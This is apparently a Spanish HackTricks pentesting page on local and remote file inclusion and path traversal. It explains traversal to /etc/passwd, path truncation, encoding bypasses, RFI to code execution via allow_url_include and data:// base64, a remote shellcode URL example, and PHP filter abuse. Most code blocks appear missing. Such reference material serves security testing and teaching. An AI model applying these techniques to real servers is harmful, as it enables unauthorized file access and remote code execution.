File Inclusion/Path traversal
Last updated
Last updated
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Únete al Discord de HackenProof para comunicarte con hackers experimentados y cazadores de bugs.
Perspectivas de Hacking Participa en contenido que profundiza en la emoción y los desafíos del hacking.
Noticias de Hacking en Tiempo Real Mantente al día con el mundo del hacking a través de noticias e información en tiempo real.
Últimos Anuncios Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma.
Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo!
Inclusión de Archivos Remota (RFI): El archivo se carga desde un servidor remoto (Mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está deshabilitado por defecto (allow_url_include). Inclusión de Archivos Local (LFI): El servidor carga un archivo local.
La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor.
Funciones PHP vulnerables: require, require_once, include, include_once
Una herramienta interesante para explotar esta vulnerabilidad: https://github.com/kurobeats/fimap
Combinando varias listas de LFI de *nix y añadiendo más rutas he creado esta:
Intenta también cambiar /
por \
Intenta también añadir ../../../../../
Una lista que utiliza varias técnicas para encontrar el archivo /etc/password (para comprobar si la vulnerabilidad existe) se puede encontrar aquí
Fusión de diferentes listas de palabras:
Intenta también cambiar /
por \
Intenta también eliminar C:/
y añadir ../../../../../
Una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para comprobar si la vulnerabilidad existe) se puede encontrar aquí
Consulta la lista de LFI de linux.
Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (página=http://myserver.com/phpshellcode.txt\.
Eludir la adición de más caracteres al final de la cadena proporcionada (eludir de: $_GET['param']."php")
Esto está resuelto desde PHP 5.4
Podrías usar codificaciones no estándar como la doble codificación URL (y otras):
Quizás el back-end esté verificando la ruta de la carpeta:
El sistema de archivos de un servidor puede ser explorado recursivamente para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se presenta un método detallado para lograr esto:
Determinar la Profundidad del Directorio: Asegúrate de la profundidad de tu directorio actual al obtener con éxito el archivo /etc/passwd
(aplicable si el servidor es basado en Linux). Un ejemplo de URL podría estructurarse de la siguiente manera, indicando una profundidad de tres:
Probar carpetas: Agrega el nombre de la carpeta sospechosa (por ejemplo, private
) a la URL, luego navega de regreso a /etc/passwd
. El nivel de directorio adicional requiere incrementar la profundidad en uno:
Interpretar los Resultados: La respuesta del servidor indica si la carpeta existe:
Error / Sin Salida: La carpeta private
probablemente no existe en la ubicación especificada.
Contenido de /etc/passwd
: Se confirma la presencia de la carpeta private
.
Exploración Recursiva: Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Inclusión de Archivos Local (LFI).
Para explorar directorios en diferentes ubicaciones en el sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si /var/www/
contiene un directorio private
(suponiendo que el directorio actual está a una profundidad de 3), usa:
El truncamiento de ruta es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se utiliza para acceder a archivos restringidos al eludir ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez alterada por la medida de seguridad, aún apunte al archivo deseado.
En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo:
/etc/passwd
, /etc//passwd
, /etc/./passwd
, y /etc/passwd/
son tratados como la misma ruta.
Cuando los últimos 6 caracteres son passwd
, añadir un /
(haciéndolo passwd/
) no cambia el archivo objetivo.
De manera similar, si se añade .php
a una ruta de archivo (como shellcode.php
), agregar un /.
al final no alterará el archivo que se está accediendo.
Los ejemplos proporcionados demuestran cómo utilizar el truncamiento de ruta para acceder a /etc/passwd
, un objetivo común debido a su contenido sensible (información de cuentas de usuario):
En estos escenarios, el número de travesías necesarias podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.
Usando segmentos de punto y caracteres adicionales: Las secuencias de travesía (../
) combinadas con segmentos de punto adicionales y caracteres pueden ser utilizadas para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
Determinando el número requerido de travesías: A través de prueba y error, se puede encontrar el número preciso de secuencias ../
necesarias para navegar hasta el directorio raíz y luego a /etc/passwd
, asegurando que cualquier cadena añadida (como .php
) sea neutralizada pero que la ruta deseada (/etc/passwd
) permanezca intacta.
Comenzando con un directorio falso: Es una práctica común comenzar la ruta con un directorio que no existe (como a/
). Esta técnica se utiliza como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor.
Al emplear técnicas de truncamiento de rutas, es crucial entender el comportamiento de análisis de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque diferente, y a menudo es necesario realizar pruebas para encontrar el método más efectivo.
Esta vulnerabilidad fue corregida en PHP 5.3.
En php esto está deshabilitado por defecto porque allow_url_include
está Desactivado. Debe estar Activado para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
Si por alguna razón allow_url_include
está Activado, pero PHP está filtrando el acceso a páginas web externas, según esta publicación, podrías usar, por ejemplo, el protocolo de datos con base64 para decodificar un código PHP en b64 y obtener RCE:
En el código anterior, el +.txt
final se añadió porque el atacante necesitaba una cadena que terminara en .txt
, así que la cadena termina con eso y después de la decodificación b64, esa parte devolverá solo basura y el verdadero código PHP será incluido (y, por lo tanto, ejecutado).
Otro ejemplo sin usar el protocolo php://
sería:
En python en un código como este:
Si el usuario pasa una ruta absoluta a file_name
, la ruta anterior se elimina:
Es el comportamiento previsto según la documentación:
Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa desde el componente de ruta absoluta.
Parece que si tienes un Path Traversal en Java y pides un directorio en lugar de un archivo, se devuelve un listado del directorio. Esto no sucederá en otros lenguajes (hasta donde sé).
Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de enlace):
Los filtros de PHP permiten realizar operaciones de modificación básicas sobre los datos antes de que sean leídos o escritos. Hay 5 categorías de filtros:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Elimina las etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
Ten en cuenta que este filtro ha desaparecido de las versiones modernas de PHP
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transforma a una codificación diferente (convert.iconv.<input_enc>.<output_enc>
). Para obtener la lista de todas las codificaciones soportadas, ejecuta en la consola: iconv -l
Abusando del filtro de conversión convert.iconv.*
puedes generar texto arbitrario, lo que podría ser útil para escribir texto arbitrario o hacer que una función como incluir procese texto arbitrario. Para más información, consulta LFI2RCE a través de filtros php.
zlib.deflate
: Comprime el contenido (útil si se exfiltra mucha información)
zlib.inflate
: Descomprime los datos
mcrypt.*
: Obsoleto
mdecrypt.*
: Obsoleto
Otros filtros
Ejecutando en php var_dump(stream_get_filters());
puedes encontrar un par de filtros inesperados:
consumed
dechunk
: revierte la codificación HTTP en fragmentos
convert.*